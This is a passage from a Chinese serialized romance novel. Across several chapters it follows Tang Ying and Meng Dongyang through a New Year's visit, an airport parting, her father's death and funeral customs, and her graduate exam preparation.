孟冬杨微微蹙眉,“是我没说清楚我的需求,还是你自己想太多,现在你不认可我们的恋爱关系,我也不接受一夜情,我们不可能一起睡觉的。” 唐盈用力地抖了下被子,没有接话。 电视打开,正在播放春晚,是一个有些尴尬的小品。 听了几句台词后,唐盈露出奇怪的眼神。 孟冬杨把水果递给她,“你还记得去年除夕夜吗?” 唐盈想起了一些细节。那天她站在家楼下接他的视频电话。 孟冬杨说:“那天我就在想,要是下一个除夕,能跟你一起坐在家里守岁就好了。” “你想的真远。” “一点也不远。这才第一年呢。” 唐盈塞了一瓣橙子到他手里,“你也吃点吧,不酸。” “你总是骗我。” 唐盈觉得他意有所指,冷声道:“你别说话了。” 【作者有话说】 看到大家的生日祝福啦,虽然不是今天过生日,但是心里好暖哦~谢谢你们~ 100个红包~ 第48章 我送送你 十二点的钟声敲响时, 落地窗外有烟花升空。 微弱的电视音量彻底被外部世界的热闹声响淹没,唐盈从五彩缤纷的窗外收回视线,孟冬杨靠在沙发背上睡着了。 他的睡容很舒展, 像是累极了,五官都是最放松最自然的样子。 唐盈靠近去找他说的那根新长出来的眼角细纹,找了十几秒钟也没有找到。 或许她从来没有关注过这些细微之处,她之前也没在他的眼睛上看见过皱纹。印象中, 像他这样擅长保养自己的人, 五官和皮肤总是很精致的。 最近几个月, 唐盈长出了几根白发, 她自己浑然不觉。苏洋洋发现后告诉她,她当即就让苏洋洋把白发拔了扔掉。 妈妈说白头发不能拔,拔了会越长越多。她不以为意。 她早就不在乎自己的年龄和容貌了。人总是会老会死,年轻漂亮对她来说毫无作用。 唐盈把孟冬杨腿上的笔记本电脑拿走放在桌子上,从房间里找来一条薄毯给他盖上。 孟冬杨的电脑里传来接收邮件的声音,屏幕亮了起来, 屏保竟然是一张她跟卡卡的背影照片。 唐盈的脸热了下, 她从来没看过这张照片。 照片的背景是漫岛附近的公园,那天她穿着很厚的外套, 和卡卡坐在人工湖边发呆。 屏保在一分钟后熄灭,她认真凝视的脸出现在黑色的屏幕上。她看着自己的样子愣了下神后,关掉电视, 关掉顶灯,只留下一盏落地灯的灯光。 烟火的声音持续了半个多小时后,城市逐渐恢复了宁静。 唐盈洗完澡, 把吹风机拿到卧室去吹潮湿的头发, 关门之前, 看了眼客厅的方向,孟冬杨还在安静睡着。 他一个人坐在那里,闭着眼睛,样子静谧又孤独。 头发吹到半干后,唐盈犯起困来,她好想直接倒在床上,可是这个房间孟冬杨要睡,她要是想安稳地睡一夜,就必须去铺另一个房间的床。 她回到客厅里,轻轻地拍了拍孟冬杨的肩膀,“你去床上睡吧。” 孟冬杨没有反应。 唐盈只好靠近他耳朵又叫了一遍。 孟冬杨依然没有睁开眼睛,但是他突然抬起手,按住唐盈的后脑勺,把她的脸按在了自己的颈窝里。 他深深地吸了吸鼻子,嗅着她头发里的香气。 嗅了好几下后,他把唐盈的头推开,问她:“我睡了多久?” 唐盈的脑袋一阵晕眩,疑惑地看着这人的眼睛,“你干嘛?” 孟冬杨睡眼迷离地回视她的目光,“只是闻一闻也不可以吗?” 唐盈心烦意燥,把毯子掀起来,盖住他整张脸。 孟冬杨去洗澡的时候,唐盈躺在沙发上,裹紧毯子沉沉睡去。担心会冷,闭眼之前她把羽绒马甲套在了睡衣外面。 从浴室出来后,孟冬杨对着沙发上这个穿着不伦不类的女人,细细地观察了几分钟,之后将她抱了起来。 唐盈惊醒,手下意识地扯住孟冬杨的衣领,说:“我就在这里睡,你去床上睡。” “我还要工作一会儿。”孟冬杨把她抱进卧室放在床上。 唐盈坐起来嘀咕道:“忙为什么还要回来……” “你把衣服脱了再睡。”孟冬杨又指了指她的领口,“内.衣也脱掉,不用防着我,我不会再进来。” 走到门口他回头看着唐盈,看了几秒后,像是回答她刚刚的抱怨,耐心说道:“其实我是回来跟你诉苦的。几年前我因为投资运气好,赚到了一些钱,但是这几年都挥霍得差不多了。我本职工作的收入并不高,选择留在美国,是相对来说赚的比国内要多一些,职场环境更好一点……总之,我现在还挺穷的。” 这下唐盈是彻底不困了,她往床头靠了一下,后脑勺上没吹太干的头发被压住,湿湿凉凉的感觉沁入头皮,她烦躁地拨弄着半干的头发,看着孟冬杨脚上的拖鞋说:“你能帮我把我的拖鞋拿过来吗?” 孟冬杨把她的拖鞋拿过来后,阻止她穿鞋的动作,把她按在床沿坐着,先帮她把头发吹干。 唐盈觉得这人管得好宽。她的脑袋好热,热到她受不了后,推开他的胳膊,穿上鞋去了书房。 书房里有保险箱,也是孟冬杨之前就买好的。 过去他送唐盈的珠宝通通都放在里面。除了珠宝,还有一些贵重的奢侈品,和一张银行卡。 唐盈把里面所有的东西都拿出去摆在餐桌上。 孟冬杨抿唇看着她折腾。 唐盈确认东西都在后,淡定地对孟冬杨说:“所有的东西我都没动过,放在我这里是负担,也占地方,你都拿走吧。” 她才几个资产啊,她一直都觉得她家里就不该出现保险箱这种东西。 孟冬杨顿时眉头紧蹙,“你说话太伤人了。” 唐盈怔住,心跳加快,咬了咬唇,解释道:“我的意思是,我真的用不上这些东西,既然你现在经济状况不太好,你就都收回去吧,这样我心里也轻松了。” “你在羞辱我。”孟冬杨音色清冷。 “我没有!”唐盈的语气急了,“孟冬杨,你这个人怎么不知好歹啊。” “你是要我感动涕零吗?感谢前女友在我落魄时伸出援手?” “我……” 孟冬杨嗤笑道:“你真是一点心也没有。” 孟冬杨摆出一副受到屈辱的样子后,去厨房里随便找了个垃圾袋,把桌面上的这堆东西胡乱地放进去。 “你要干什么?”唐盈抓住他的手腕。 孟冬杨对她歪一下头,“我决定接受你的施舍。” “……”唐盈瞪着他,“我可以给你找更结实的袋子。” “不用了,你眼里的垃圾就应该用垃圾袋来装。” 唐盈无语了,抱着胳膊打量这个男人,眼神冷漠,看戏似的。 看他装完,气冲冲地去厨房里又扯了一下垃圾袋出来,死活要套上去,说这样更结实。 两人的手开始拉扯,接着是胳膊,很快,孟冬杨的掌心顺理成章贴在了唐盈的腰上。 唐盈被往前带,下巴撞在了孟冬杨的胸口上,她又急又气,踮起脚一口咬在孟冬杨的脖子上。 孟冬杨顺势去吻唐盈的嘴唇,唐盈早有预料,偏过头躲开。 她的头撞过去,孟冬杨的手绕下来想抬起她的脸,她看准时机抓住他的手,狠下心来去咬他大拇指的指骨。 唐盈像一只鸵鸟似的,在孟冬杨进攻的时候,埋着头用嘴巴去找能反击又不表达情.欲的地方,带给他咬噬的伤痛。 她双手抓住孟冬杨的手,是禁锢、是牵制,也是在攀援、在纠缠,她理智地控制着牙齿的力度,更多的气力用在脑袋上,额头死死抵住孟冬杨的心脏。 孟冬杨的手并没有感觉到太深的痛感,反而是心口,里外都被她压制着,被她蹂.躏着,像是一个脆弱的气球在狭窄的缝隙里寻找出口。 她的姿态过于蛮横,不讲道理也不讲情面,执拗的像一只未经人类驯化的兽,试图用蛮力对抗升腾而起的欲望。 她明明渴望着别样的亲密。 唐盈把复杂的情绪宣泄在男人的手骨上后,站直身体往卧室里走。 孟冬杨看着她的背影消失在转角后,目光落在自己的手上,她的牙印清晰地留在了上面。 他站了一会儿后,去客厅拿了电脑,去她的书房里工作。 回完一封邮件后,他低头看那个牙印,痕迹并未消散。 天快亮时,手上的痕迹彻底消失了,孟冬杨结束工作,洗了手和脸,轻声打开唐盈卧室的门。 唐盈从床上坐起来,摸到手机看了看时间。 “五点半。”孟冬杨对她说。 她揉了揉眼睛,手掌探进被子里去找自己的内.衣,“你先出去。” 孟冬杨掀开被子,躺在了床的另一边,“我不看你,我睡一会儿。” 唐盈摸到内.衣后捂着胸口下床往门口走,“我去医院了,你睡醒自己弄点吃的。” “我下午三点半的飞机飞上海,我要走了。” 唐盈顿住。 “你去忙吧。走之前,我会再去医院一趟。” 唐盈站在门口,背对着孟冬杨,嗡声道:“我去把早餐给你做好。” “我不吃,你做的东西不好吃。”孟冬杨翻了个身,从枕头下面摸到一根皮筋,他把皮筋攥进掌心里。 唐盈没再说话,她打开门走了出去,关门的声音很轻。 闭上眼睛的时候,孟冬杨觉得自己有点恨她。 唐盈心里想着“下午三点半”这个时间,猜测孟冬杨最晚十点会来医院,然后就要出发去霓城的机场。 翟莉陪护一夜后,上午便离开了。现在唐久安夫妇坐在病房里,陪伴着昏睡的老唐。 自打唐家的亲戚们说了唐盈一些不好听的话后,彭芳就不愿意再跟他们打交道,想着今天肯定有不少亲戚会来看望,把流食送到护士站后人就走了。 孟冬杨的车开进医院时,碰到正离开的彭芳。他请彭芳上车,想送她回家。 彭芳说不耽误他的时间了,又对他说道:“你今天就别去病房了,里面人多。亲戚们都以为你跟唐盈分手了,你这再一出现,唐盈难免又要……” 她叹了口气:“小孟,我这人说话直,你别介意。我是心疼唐盈。” 孟冬杨明白她的意思,点了点头,“好,我不进去。” 唐盈接到孟冬杨的电话后,跑来停车场找他。 未等孟冬杨张口说话,唐盈拉开驾驶室的门,说:“你下来,我送你。” 孟冬杨被唐盈拽了下去。 唐盈把座椅往前调,系上安全带,闷声开车。 孟冬杨拧眉看着她:“那你待会儿怎么回来?” “坐机场大巴回来。”唐盈平时前方,“上次你走,我没机会送你一程,挺过意不去的。今天清闲了,终于能送送你了。” 孟冬杨觉得这也不是什么好听话。 第49章 又一关 一路上两人都没怎么交流。 唐盈播放音乐, 孟冬杨嫌吵,把音乐关掉了。唐盈习惯开车时听歌,再次把音乐打开, 孟冬杨又给关掉了。 唐盈也不生气,但孟冬杨找机会跟她说话时,她选择不搭理。 孟冬杨拿她半点办法也没有。 车驶入机场停车场时,孟冬杨对唐盈说:“你把车开回青阳。” 唐盈打算把车停到他霓城的家楼下。 “车长时间不开, 发动机会出问题, 你开回去吧, 这车也该保养了。” “开回去没地方停。” “我那个房子有车库, 你是知道的,你能不能别为了拒绝人家的心意信口胡说。”孟冬杨深深蹙眉,“我回来就是为了看你,下次我提前告诉你,你来机场接我。” “只是为了看我的话就别回来了。”唐盈冷言冷语。 孟冬杨把自己的手机重重地扔进扶手箱里,“腿长在我自己身上。” 唐盈屏住呼吸看向他, “这么远, 跑来跑去的不累吗?” “真心疼我,就对我态度好一点。”孟冬杨把手伸过去想抓住唐盈的手, “耍这些小性子,是不是因为不舍得我走?你以前可不是这样的。” “我没有。”唐盈躲开他的手,眼睛看向窗外。 孟冬杨平心静气道:“你对我越来越任性了。” 唐盈没有心情反思自己, 默不作声。 找到停车位后,唐盈下车去开后备箱,孟冬杨走过来后微微弯着腰。 “你怎么了?”唐盈看着他。 “胃疼。” “没吃早饭?”他说她做的东西不好吃, 于是她早上没进厨房就走了。 孟冬杨手扶住车, “睡过头了。” 唐盈抿了下唇, 一边去打开的后备箱里拿他的行李,一边说:“进去吃点东西吧。” “你陪我。” “我回去还有事。” “不差这一个小时。”孟冬杨推开她的手,自己把行李箱拿了出来。??Х? 唐盈想去给孟冬杨买麦当劳,孟冬杨不想吃,非要吃面。 点的牛肉面味道又不好,他动了几下筷子就停了手,只喝了半杯美式。 “你这样不是胃更疼了吗?” 唐盈话落,回到咖啡店去给他买三明治,看见橱窗有巧克力蛋糕,选了一块一起打包。 孟冬杨把一整块巧克力蛋糕都吃完了。 “胃还疼吗?”唐盈问他。 男人摇了摇头。 “你工作这么忙,平时有时间自己做饭吗?” “这些关心我的话你早就该问了。” 唐盈好讨厌他这幅咄咄逼人的样子。 孟冬杨顺势说道:“我每一天都在期待你能主动发来一条关心我的消息。” “你也很少联系我。” “但是我很了解你的情况。” 想起陈叔,唐盈跟他较劲的气势弱了下去,问他:“陈叔的工资到底是多少?” “很多,你还不起。”孟冬杨吃完蛋糕又去吃口袋里的糖。 唐盈一阵心梗,学他扔手机的样子把拿在手里把玩的餐牌扔在了桌面上。 孟冬杨拨弄着嘴巴里的糖果,把打开的糖盒推到她面前,“是,你还年轻,可以慢慢还,可是我不年轻了,我怕等到你心里我们俩平等的那一天,你再想从我身上要点什么,我没精力给你了。” “你在说什么?”唐盈别过脸去,“我们已经结束了。我没跟你玩什么游戏,你自重。” “你可以走了。”孟冬杨负气地说,说完不再看她。 唐盈起身就走,头也不回。 孟冬杨告诉自己别去看她,可视线还是忍不住落了过去。 唐盈步伐决然,心意却摇摆着,最终脚步停在了餐厅外面。 孟冬杨见状,站起来往外后。 他想他们不该这样告别。 唐盈也转过身折了回来,她在孟冬杨面前站定,低着头,藏住自己的表情。 孟冬杨眼底的光一瞬间变得温柔,他伸出手,想靠近她一步。 唐盈却后退了半步,弯下腰,诚恳地对孟冬杨鞠了一躬,轻声道:“谢谢你找到陈叔这么好的人照顾我爸爸。我不止欠你的情,我也欠其他人的,现在我来送你,在病房里陪着我爸爸的是我大哥大嫂,我顶不住的时候都是他们在撑着我。对不起,我要回去了,祝你一路平安。” 话落唐盈疾步离开,背影很快消失在孟冬杨的视野中。 孟冬杨伸出去的手还悬在那里,他脊背僵硬着,胃又猛地疼了起来。 回到车里,唐盈立刻打开音乐,把音量调到很大。 驶离机场几公里后,路况一片良好。她一路往南开,要回到她的小城。 她想了一下上海的方向和洛杉矶的方向,心里的地图上,有个人离她越来越远。 眼睛隐隐发酸时,她将车停在了应急车道上,抽了张纸巾,按住自己的眼睛。 脑子里想了些别的事情后,纸巾只湿了一小片。 她把纸巾揉成一团塞进口袋里,继续往应走的道路上开。 落地上海后,孟冬杨接到杨梦真打来的电话,杨梦真问他这次去青阳顺不顺利。 他说不太顺利,他的表现很差劲。 杨梦真问他是哪里做的不好。 他说他没有一件事做对了,他态度不好,说话没有耐心,词不达意,什么都没做好。 元宵节这天,老唐突然高烧不退,被送进了ICU。 医院下了病危通知单。翟莉慌张赶来,跟唐盈商量预备后事的事情,唐盈第一次对翟莉发了脾气。 唐久安把唐盈带到一旁,让她先冷静。 “她就是嘴上一说,梅馨的孩子她一天也脱不了手,她哪有时间去准备这些事情。不过医生的话你也要听进耳朵里,如果肺炎加重无法自主呼吸,上了机器,就不单单只是费用的问题,你也要考虑……” 唐久安没忍心把剩下来的话说出口。 唐盈神情木讷,“他活着的质量早就不高了啊,但是活着和死亡是两回事,他还在,我就还有爸爸,对不对?” 唐久安听得眼圈发红,说:“我们也不希望小叔这么快就走啊。” 彭文君从霓城赶了回来,陪唐盈在ICU门口守了一天一夜。 翟莉被唐盈骂了一通后,赌气抱着孩子在医院里等。后来谷瑞安请了假,来把孩子接回了家。 彭文君跑过去问翟莉,“梅馨还是不管孩子吗?” 翟莉苦笑道:“我上辈子欠她的。” “她不带就让谷瑞安带,谷瑞安上班带不了就扔给他爸妈带,这孩子又不是梅馨一个人的。” “孩子不姓谷,梅馨平时也不让孩子的爷爷奶奶来看,我怎么扔给他们?”翟莉小声抽泣起来。 彭文君听见她哭,把她请回病房,“别在这里哭,唐盈听了心里又要不好受了。” “文君,你去劝劝唐盈吧,他爸爸插着管子多受罪啊……” “别再说这种话!你可以没有老公,但我跟唐盈还想有爸爸!” 苏洋洋来给姐妹俩送吃的,看见彭文君偷偷抹眼泪,自己的眼眶也跟着红了起来。 路晨走过来戳了戳苏洋洋的胳膊,悄声说:“你怎么也这样,我早上卜了一挂,唐叔这次能挺过去。” “你堂堂一个信封科学唯物主义的医学生,竟然搞起封建迷信来了。” “亏你还出去了那么久,看了这么多生死,难道还没发现嘛,在人道主义面前,科学实在太冰冷无情。我们开学第一课学的就是生命至上,这是医学的最终信仰。所以我愿意在这种危急关头相信心灵的力量。唐盈不舍得她爸爸走,她爸爸肯定也放不下她。” 苏洋洋瞪着说的神乎其神的路晨,“借你吉言。” 灶上的汤熬干了,得亏有烟雾报警器发出提示音,彭芳才在危险发生之前回过神来。 她魂不守舍地跑进厨房里关掉火,皱着眉头把糊掉的锅扔到水池里。 危机解除了,烟雾报警器仍在发出尖锐的声音。她听着心烦,用手机查了半天这个报警器怎么关,都没有找对方向。 只好发微信问孟冬杨。这个报警器是孟冬杨当时要求安装的。 消息刚发过去,报警器安静了。 彭芳握着手机想继续打字,孟冬杨已经打了语音电话过来。 “没事了,小孟,已经不响了,可能是烟散干净了。” 孟冬杨轻声问道:“您是不是累着了?” 彭芳说就是没留神。 寒暄几句后,彭芳准备挂电话。 孟冬杨请她稍等,问道:“唐盈现在的状态还好吗?”他第一时间从陈叔那里得知老唐进ICU的事,几乎一夜未眠。 彭芳不想让他挂心,自然挑让他安心的话说。又磕磕绊绊地聊了几句话,彭芳挂了电话。 厨房里弥漫着糊味,彭芳这才想起来要开窗。 她拍了拍自己的脑袋,先是质疑起自己是不是老了,记性不好了,而后想起病危的老唐,揪起来的心愈发紧绷绷的。 想起得知老唐找了翟莉之后,她当时还怄了几天气,对老唐发了好几次脾气,“噗嗤”一声笑出声来,觉得自己那会儿好傻。 笑着笑着鼻子就酸了。 她早就没有老公了,她已经习惯了。可是她没办法习惯两个女儿没有爸爸了啊。 这天下午,ICU的护士出来通知,老唐终于退烧了。 唐盈整个人都往下沉了几寸。她掺住姐姐的胳膊,上半身微微发着抖。 又过了一会儿,医生出来告知家属,这一关算是熬过去了。 彭文君紧紧地握着唐盈的手,“爸没事了,爸没事了……” 陈叔把消息告知孟冬杨后,孟冬杨退掉了回国的机票。挂了电话后,他随便给自己做了口吃的后就去补觉。 他刚闭上眼睛后就开始做梦,先是梦到卡卡,之后又梦到在青阳发生的一些事情。 好奇怪,唐盈始终没有出现在这个梦里。 醒来后他也没顾得上看国内是几点钟,直接给唐盈打去电话。 几声后唐盈接起来。 “你不用说话。”孟冬杨声音沙哑地说道。 唐盈听见他嗓音不对,问他:“你怎么了?” “我没事,我刚睡醒。你接我电话就好。你不想跟我说话就不说,让我能听见你的呼吸声就行。” 唐盈抿着唇,轻轻地呼气。 “唐盈。”孟冬杨叫了声她的名字。 唐盈应了一声。 “我最近失眠很严重,我每天睡觉之前能给你打个电话吗?” 唐盈没吱声。 “我当你同意了。那先这样吧,我挂了。” 电话里孟冬杨的声音消失后,唐盈放下手机,吃掉一颗妈妈包的馄饨。 彭文君听出是谁给她打电话了,冷不丁地对她说:“我准备离婚了。” 唐盈侧过脸看着姐姐。 彭文君淡声说道:“你姐夫和他家里人一直没来看过爸,这次病危通知书都下了,你姐夫也还是无动于衷。他们觉得没有血缘关系就不必上心,别的我都可以忍受,但是我不能让两个孩子接受这样冷漠的教育。等汐汐和弟弟长大,会理解我做出的这个选择的。唐盈,我们都勇敢一点。” 第50章 我等你 青阳的花开了, 老唐却连轮椅也坐不了了,整天只能躺在床上。 唐盈拍了好看的花拿给爸爸看,老唐的视线先落在手机屏幕上, 很快又落到唐盈的脸上。 陈叔说:“这几天他清醒的时间变多了。” 老唐醒着的时候,最喜欢盯着唐盈看,唐盈要是不在,他就盯着来送饭的彭芳看。有一回, 彭文君把汐汐和弟弟带来, 汐汐握着他的手, 他连续眨了三下眼睛后, 呆呆地看向唐盈。 路晨说老唐很可能记得唐盈小时候的样子。 隔天唐盈把自己和姐姐小时候的照片拿来给爸爸看,老唐的目光非常专注。 医学无法解释,唐盈却要笃定,爸爸就是记得她。 执念太深的时候,她握着爸爸的手泪流满面。 她看过许多案例,跟老唐同样情况的病人, 活五年八年的也是有的。她不明白爸爸为什么衰竭的这么快。 妈妈跟她说, 老唐是个骄傲的人,他要是清醒着, 肯定不愿意这么不体面的活着。 她内心还是无法接受残酷的事实。 她小心翼翼地给爸爸的脸涂润肤霜,给他修剪指甲,因为身体吸收不了营养, 老唐的指甲异常脆弱,断裂的时候,她的心跟着一起开裂。 各项指标都显示老唐快走到生命尽头时, 唐盈签下了一堆通知单, 平静地等待医生为老唐拔管。 翟莉不忍去看, 趴在窗户上痛哭流涕,薛晓慧安抚着她,自己也掉下眼泪来。 唐盈握着爸爸的手,另一只手去抚摸他消瘦没有血色的脸颊。她怎么也想不起来爸爸跟她说的最后一句话是什么。 她拼命去想,想到了爸爸的声音和语气,想起了他的神态,可那句话依然是模糊的。 爸爸没有机会给她留下只字片语就倒下了。 医生宣布死亡时,彭芳靠在病房外的墙壁上,忽然想起她跟老唐结婚时的情形,脑海里喜庆的红色变成了灰,热闹的声音被耳鸣声淹没。 病房里有七八个人,她不必进去哭一场凑热闹。她抬脚想去帮唐盈处理接下来的事情,腿迈开,步伐绵软无力,她撑住墙壁,稳了一会儿神后才重新迈开这双重重的腿。 走出住院部大楼时,外面春雨绵绵。 上次下病危通知书的时候,唐久安就帮衬着准备好了一些事情。见翟莉哭到发晕,听不进去什么要紧话,他只好还是一切都跟唐盈相商。 早几年青阳的公墓扩建时,老唐想着日后地价要飞涨,图便宜,买下两块墓地,一块他的,一块彭芳的,两块地挨在一起。 唐盈都不知道有这回事。她打起精神走过去告知翟莉,翟莉愣住神,而后摆了摆手:“你看着办吧。人都走了,以后谁跟他葬在一起,还有什么要紧的。” 彭文君唏嘘地想,算命先生的话算是应验了。 遗体挪到殡仪馆后,梅馨和谷瑞安赶来了,唐家负责张罗的长辈让他们俩按规矩戴孝,彭文君冲过去,一把扯走长辈手里的麻布,说能给老唐戴孝的只有她跟唐盈。 场面僵住时,薛晓慧站出来帮彭文君说话:“小叔生前没认过梅馨这个女儿和谷瑞安这个女婿,小叔心里只有文君和唐盈这两个闺女。” 翟莉急忙把梅馨拽走,让她不要在这里闹笑话。 当地规矩颇多,好在亲戚们都来帮忙,唐盈可以一心送别爸爸,不为别的杂事烦恼。 每隔一个小时,送灵的两个师傅吟唱祭文悼词,唐盈都需要跪下烧一次纸,倒三杯酒,每每这个时候她都会大哭一场。 来来回回地哭了一天后,她整个人都恍惚了。面前的人像是幻影,脚下的地也不再坚固。她枯坐在爸爸的遗像面前,一动不动,入定一般。 孟冬杨赶到青阳时夜已经深了。 殡仪馆的大厅里有十来个人在守夜,除了唐盈的朋友苏洋洋之外,其他的都是唐家的至亲。 唐久安在门口的茶台上倒水,看见孟冬杨出现,疲惫的眼睛隐隐有些发直。 孟冬杨朝唐久安颔首示意一下,踏进门里,径直走向大厅中央。 他跪在老唐的遗像前祭奠,彭文君搀着唐盈过来回礼,他手里的纸烧完后,彭文君倒了三杯白酒,对他说:“按规矩,家里的小辈才要敬酒,但是你敬我爸一杯吧。” 晚上彭芳来陪两个女儿,这会儿正跟薛晓慧坐在守灵的亲戚们当中。 看见孟冬杨出现后,彭芳看了身边薛晓慧一眼,薛晓慧垂着眼角,神情有些许复杂。 彭芳起身走到孟冬杨近处,让他陪唐盈坐到大厅的另一边。 唐盈刚坐下不久,午夜十二点到了,送灵的师傅来请她去后面的山上焚烧老唐的遗物。 孟冬杨想陪她一起,走到门口被唐久安拦下,唐久安说这不合规矩,连彭文君都不能去。孟冬杨却还是执意跟了过去。 馆外一片萧肃,两个师傅敲锣念唱,要唐盈一路烧纸扔掉。唐盈拿着纸,孟冬杨帮她点火,他们从殡仪馆的大门一路走进山里。 到了指定的位置后,唐盈和孟冬杨跪下来,打算焚烧老唐生前最常用和最喜欢的一些东西。 白天翟莉精神不济,这些东西是彭芳和薛晓慧去家里帮忙收拾来的。唐盈打开袋子一看,里面除了几样生活必需品之外,有毛笔、宣纸、香烟、纸牌,和一个唐盈小时候刻的木章,木章上写着三个字——好爸爸。 唐盈把木章攥紧在掌心里。 师傅说所有带来的东西都要烧掉。孟冬杨知道唐盈不舍得这个木章,从她的手心里把木章拿出来,藏进她的衣服口袋里。 火光升腾起来时,孟冬杨把唐盈带远,他们站在一米外的空地上,看这些东西慢慢化成灰烬。 所有的仪式都完成后,唐盈累倒了,断断续续地在家昏睡了两天。 她醒来的第一反应是要去医院看爸爸,她以为这只是过去寻常的一天。敲一敲脑袋后,她才从梦境回到现实,爸爸已经下葬了,爸爸走了。 她的眼泪流干了,心也有点麻木,呆呆地下了床,没穿鞋就走到客厅里,妈妈和孟冬杨都在。 孟冬杨跑回卧室里给唐盈找拖鞋,彭芳把她拉到沙发上坐下,问她想吃点什么,她说自己什么都能做。 唐盈把脸枕在妈妈的颈窝里,说:“你抱抱我吧。” 彭芳一怔,她这个从来都不会撒娇的小女儿从来没对她做过这样的动作说过这样的话。 老唐走,她都没掉几滴眼泪,这一刻,突然失声痛哭起来。她的女儿没有爸爸了,她这个天底下最关心爸爸的女儿,再也没有父亲了。 孟冬杨把纸巾塞进唐盈手里,让她给妈妈擦眼泪,蹲下去给她穿鞋。 唐盈把妈妈搂进怀里,安慰她道:“那我抱抱你。”她轻轻地拍着妈妈的肩膀,细心地给她擦着眼泪。 过了会儿,彭芳释放好了,想起身去做饭。唐盈把她拉住,说有些话想跟她说。 彭芳握住唐盈的手,“你说吧。” 唐盈思忖片刻后,哽咽着说道:“我爸太不负责了,没留下任何交代就走了。他在医院躺了301天,你风雪无阻地给他送了280天的流食,我替他谢谢你。你总是说你是替我做的,我心里却很清楚,这是你对他讲情义。从前我总是怨你们没给我提供好的成长环境,实际上,你们对我的爱,对彼此的关心,一点也不少。妈,我很爱爸爸,也很爱你。” 孟冬杨偏过头去,窗外的景色变得模糊,玻璃上相拥的母女俩也变得模糊。他抬起手,揉了揉眼角,折回去给内心柔软的女士们拿纸巾。 唐盈抬起眼睛对他挤出一个很难看的笑容,说:“谢谢你。” 孟冬杨伸手戳了戳她的梨涡,揉了揉她的头发,“不客气。” 八月里暑气正盛,汐汐和弟弟一人捧着一盒巧克力冰激凌站在入户花园里吃。 彭芳看了两个脏孩子一眼,数落彭文君道:“嫌脏就不要让他们吃。” 彭文君说:“小孟装的这房子,中央空调的效果太好了,门口那会儿覆盖不到冷气,他们站在那里吃不会闹肚子。” 唐盈在卧室里复习,说孩子倒是不吵,但是妈妈和姐姐一直聊八卦,声音太吵了,让她们俩把崽子们带去商场里玩。 彭芳笑了声:“你学成这样,到时候要是还考不上,那可就亏大了。” “呸呸呸!”唐盈猛地把门关上。 彭芳把孩子们带去小区里的活动中心玩,听说这个小区的房价已经快翻到一倍,二期也快竣工了,火急火燎地跑回家告诉唐盈这个好消息。 “小孟不是想卖掉他的别墅嘛,你快去打听打听啊。” 唐盈做不出来题,正恼火,被妈妈搅的心绪大乱,急声道:“孟冬杨说起码翻到两倍时再卖!” “老天爷哟,还翻两倍呢,就青阳这个小地方,房价还能涨到一万出头去?” “管他的呢,他想什么时候卖就什么时候卖。” “你倒是对他的事情上上心啊……” “知道了知道了!” 这年冬天,岛屿花园作为青阳最好的小区,均价上涨到一万一。 唐盈觉得是时候挂卖孟冬杨那套房子了,发了条消息等他的指示。 孟冬杨问:除了这些事,你就没有别的话跟我说吗?考试都考完了,你的心是铁做的吗? 唐盈回他:别惹我,我是玻璃心。 孟冬杨升职后外派去了波士顿,工作繁忙,这一年没有回来过年。他盼望着唐盈能对他说些好听话,说不定他一心软就舟车劳顿地赶回来了。 唐盈却只对他说了八个字:新年快乐,身体健康。 二月出了成绩,唐盈的分数在目标大学的复试线边缘徘徊,需要做复试和调剂两手准备。 她既高兴又苦恼,心情十分焦灼,开学后陡然丧失工作的热情。 孟冬杨觉得她已经考得很好了,也知道她付出了非常大的努力。在她确定参加复试后,三月底,飞到上海去陪她。 孟冬杨一来,唐盈就更紧张了,她问他:“我要是搞砸了怎么办?” “能怎么办,接受调剂或者再考一年,你继续吃苦,我继续等你。”孟冬杨认命地说。《 》 50-55 第51章 春日好 复试结束后, 唐盈没什么信心地跟孟冬杨去订好的餐厅吃饭。 这是他们认识的第三个春日了,老唐也已经去世一年。 坐在陌生城市的陌生餐厅里,眼神落在对方的身上, 唐盈觉得眼前的人有些失真。 就像这间华丽的餐厅,出现在上海的概率非常大,但是它无法建造在那座经济落后人均消费水平不高的南方小城。 她又自私地让这个男人在孤独中等待了她一年,男人看她的眼神竟没有分毫改变。 如果面前的孟冬杨是真的, 那他一定是个傻瓜。 这一年, 孟冬杨对唐盈的“唯结果论”有了更深的体会。 从前她执着于一段感情的结果, 执着于践行一份责任心, 如今执着于更具体的目标,把三百多天的学习成果看作阶段人生里的重中之重。 目的性这么强的人唯独对他是随缘的态度,这太不符合她惯有的思维逻辑。 自我说服时,孟冬杨告诉自己,他对这个女孩而言,一定是特殊且特别的一个人。 他想, 时间再往前走, 他总会成为她割舍不下的执念。 唐盈端起红酒杯碰了下孟冬杨的杯子,“我敬你, 今天这顿我请。” “你太客气了。”孟冬杨喝了一口酒,往唐盈的餐盘里放了一块她喜欢的食物。 唐盈问:“你这次休几天假?” 孟冬杨说他很久没休假了,打算陪她回青阳, 去看看她的家人。他本想直接说去看看她爸爸,最终还是回避了这个词。 唐盈自己却说道:“好,刚好赶上我爸一周年。” “你还记得我们俩第一次单独吃饭是什么时候吗?”孟冬杨问她。 唐盈微微眯了下眼睛, “这怎么可能不记得呢, 你过三十一岁生日那天。” “那时候你还没分手。” 唐盈鼓了下脸, 欲言又止。 孟冬杨淡笑道:“那天你穿的是一件鹅黄色的毛衣,你还记得我穿的什么衣服吗?” “你的衣服款式都差不多,不是黑的就是灰的,开衫、羊绒衫……” “你就是不记得了。”孟冬杨打断她的话。 “不记得才是正常的吧,那个时候我为什么要对你上心呢。” “但是你给我买蛋糕了。” “我那是客气。” “也不全是吧。” 唐盈梗住,让他别再扯这些有的没的。 孟冬杨又问她:“梅馨和谷瑞安的小孩会说话了吗?” “不知道,不了解。”唐盈露出一个“别问我这种问题”的眼神。 “你跟翟莉还有联系吗?” “基本上没了。” 老唐走后,留下来的公积金和补偿的一笔社保金,翟莉取出来后交给唐盈处理。唐盈把钱分成三份,她、彭文君、翟莉三人各一份。她觉得这是有情有义的爸爸渴望看到的公平。 彭芳当时嘀咕了一嘴,说要是老唐做决定,不见得会给大女儿留东西。 唐盈没跟妈妈理论,她觉得血缘关系并不重要,维系父女情谊的也不是“孝”这个字,而是“爱”这个字。 唐盈把这件事讲给孟冬杨听,孟冬杨若有所思。 唐盈继续说道:“孟冬杨,那个人说的不对,你是很懂爱的人。” 孟冬杨挑了下眉头,她这话来得太突然了。 他有些不适应地看着唐盈:“是考完试一身轻松了吗?终于肯把注意力放回到我身上了。” 